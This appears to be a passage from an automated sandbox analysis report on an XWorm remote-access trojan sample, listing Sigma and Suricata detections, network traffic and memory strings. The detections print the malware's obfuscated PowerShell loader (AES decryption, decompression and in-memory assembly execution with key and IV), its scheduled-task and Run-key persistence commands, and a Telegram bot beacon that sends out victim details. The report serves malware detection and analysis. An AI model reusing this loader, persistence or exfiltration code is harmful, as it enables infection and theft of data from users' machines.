'')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose();

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\e45iasd.exe, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5264, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\e45iasd

Sigma detected: Gzip Archive Decode Via PowerShell

Source: Process started

Author: Hieu Tran: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose();

Sigma detected: PSScriptPolicyTest Creation By Uncommon Process

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\e45iasd.exe, ProcessId: 1528, TargetFilename: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uuzvzant.zph.ps1

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7900, TargetFilename: C:\Users\user\AppData\Roaming\startup_str_616.vbs

Sigma detected: Startup Folder File Write

Source: File created

Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 5264, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\AppData\Local\Temp\e45iasd.exe", CommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\AppData\Local\Temp\e45iasd.exe", CommandLine|base64offset|contains: j, Image: C:\Windows\System32\schtasks.exe, NewProcessName: C:\Windows\System32\schtasks.exe, OriginalFileName: C:\Windows\System32\schtasks.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\AppData\Roaming\startup_str_616.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 5264, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "e45iasd" /tr "C:\Users\user\AppData\Local\Temp\e45iasd.exe", ProcessId: 7812, ProcessName: schtasks.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_616.vbs" , CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_616.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1124, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\AppData\Roaming\startup_str_616.vbs" , ProcessId: 7336, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose();

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Suricata Signatures

ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound - Source IP: 192.168.2.9 - Destination IP: 95.98.144.201

Timestamp:	2024-08-22T13:12:35.763456+0200
SID:	2855924
Severity:	1
Source Port:	49723
Destination Port:	2404
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Win32/XWorm Checkin via Telegram - Source IP: 192.168.2.9 - Destination IP: 149.154.167.220

Timestamp:	2024-08-22T13:11:23.227185+0200
SID:	2853685
Severity:	1
Source Port:	49717
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\startup_str_616.vbs

Avira: detection malicious, Label: VBS/Runner.VPXO

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49717 version: TLS 1.2

Source:	Binary string: powershell.pdbUGP source: e45iasd.exe, 00000016.00000000.1556727375.00007FF6D073A000.00000002.00000001.01000000.0000000A.sdmp, e45iasd.exe.16.dr
Source:	Binary string: powershell.pdb source: e45iasd.exe, 00000016.00000000.1556727375.00007FF6D073A000.00000002.00000001.01000000.0000000A.sdmp, e45iasd.exe.16.dr

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855924 - Severity 1 - ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound : 192.168.2.9:49723 -> 95.98.144.201:2404
Source: Network traffic	Suricata IDS: 2853685 - Severity 1 - ETPRO MALWARE Win32/XWorm Checkin via Telegram : 192.168.2.9:49717 -> 149.154.167.220:443

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Source: global traffic

TCP traffic: 192.168.2.9:49718 -> 95.98.144.201:2404

Source: global traffic

HTTP traffic detected: GET /bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A34B1CC6324AA14E91F87%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20NW4C52%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2 HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 149.154.167.220 149.154.167.220

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: TMO-NL-ASNL TMO-NL-ASNL

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	TCP traffic detected without corresponding DNS query: 95.98.144.201
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: api.telegram.org

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.18.0Date: Thu, 22 Aug 2024 11:11:23 GMTContent-Type: application/jsonContent-Length: 89Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: powershell.exe, 00000005.00000002.1520433343.00000263B3CDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1424079642.0000027568306000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2598736116.000001802B5F4000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2969443709.000001803B2A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.1404589530.00000275584BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000005.00000002.1465156371.00000263A3AC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1404589530.0000027558291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2604118350.00000121C5B21000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2598736116.000001802B211000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000018.00000002.2600358966.000002A363BE4000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 0000001A.00000002.2599686863.000001EB32F23000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.1404589530.00000275584BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: e45iasd.exe, 00000016.00000002.2598736116.000001802CBF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000008.00000002.1430188190.00000275708B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: e45iasd.exe, 0000001A.00000002.2597249004.000001EB310F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000005.00000002.1465156371.00000263A3AC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1404589530.0000027558291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2604118350.00000121C5B21000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2598736116.000001802B211000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000018.00000002.2600358966.000002A363BAF000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000018.00000002.2600358966.000002A363BBD000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 0000001A.00000002.2599686863.000001EB32F23000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 0000001A.00000002.2599686863.000001EB32F3D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.1404589530.00000275584BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000010.00000002.2604118350.00000121C6418000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: e45iasd.exe, 00000016.00000002.2598736116.000001802C14F000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000018.00000002.2600358966.000002A36443A000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 0000001A.00000002.2599686863.000001EB33751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000005.00000002.1520433343.00000263B3CDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.1424079642.0000027568306000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2598736116.000001802CF12000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2969443709.000001803B2A0000.00000004.00000800.00020000.00000000.sdmp, e45iasd.exe, 00000016.00000002.2598736116.000001802B4F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: e45iasd.exe, 00000016.00000002.2598736116.000001802CBF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: e45iasd.exe, 00000016.00000002.2598736116.000001802CBF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.9:49717 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Reads the Security eventlog

Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security\PowerShell
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\Security

Reads the System eventlog

Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System\PowerShell
Source: C:\Users\user\AppData\Local\Temp\e45iasd.exe	Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System
